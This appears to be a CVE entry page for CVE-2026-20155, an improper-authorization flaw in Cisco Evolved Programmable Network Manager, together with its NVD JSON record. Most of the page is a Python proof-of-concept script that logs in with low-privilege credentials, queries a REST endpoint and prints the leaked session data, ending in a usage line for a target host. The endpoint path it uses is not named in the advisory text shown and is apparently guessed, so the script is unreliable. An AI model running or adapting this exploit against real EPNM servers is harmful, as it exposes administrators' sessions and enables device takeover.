CVE-2026-20155

import requests def exploit_cve_2026_20155(target_url, username, password): """ PoC for CVE-2026-20155: Cisco EPNM Privilege Escalation via Improper Authorization. This script demonstrates how a low-privileged user can access sensitive session info. """ session = requests.Session() login_endpoint = f"{target_url}/webui/login" vulnerable_api = f"{target_url}/webui/rest/api/session-info" # Step 1: Authenticate with low privileges creds = {"username": username, "password": password} session.post(login_endpoint, data=creds) # Step 2: Access the vulnerable endpoint response = session.get(vulnerable_api) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Sensitive Data:") print(response.text) else: print("[-] Failed to exploit the vulnerability.") # Usage: exploit_cve_2026_20155("https://target-ip", "user", "pass")

{"cve": {"id": "CVE-2026-20155", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:31.430", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker with low privileges to access sensitive information that they are not authorized to access.\r\n\r\nThis vulnerability is due to improper authorization checks on a REST API endpoint of an affected device. An attacker could exploit this vulnerability by querying the affected endpoint. A successful exploit could allow the attacker to view session information of active Cisco EPNM users, including users with administrative privileges, which could result in the affected device being compromised."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-epnm-improp-auth-mUwFWUU3", "source": "[email protected]"}]}}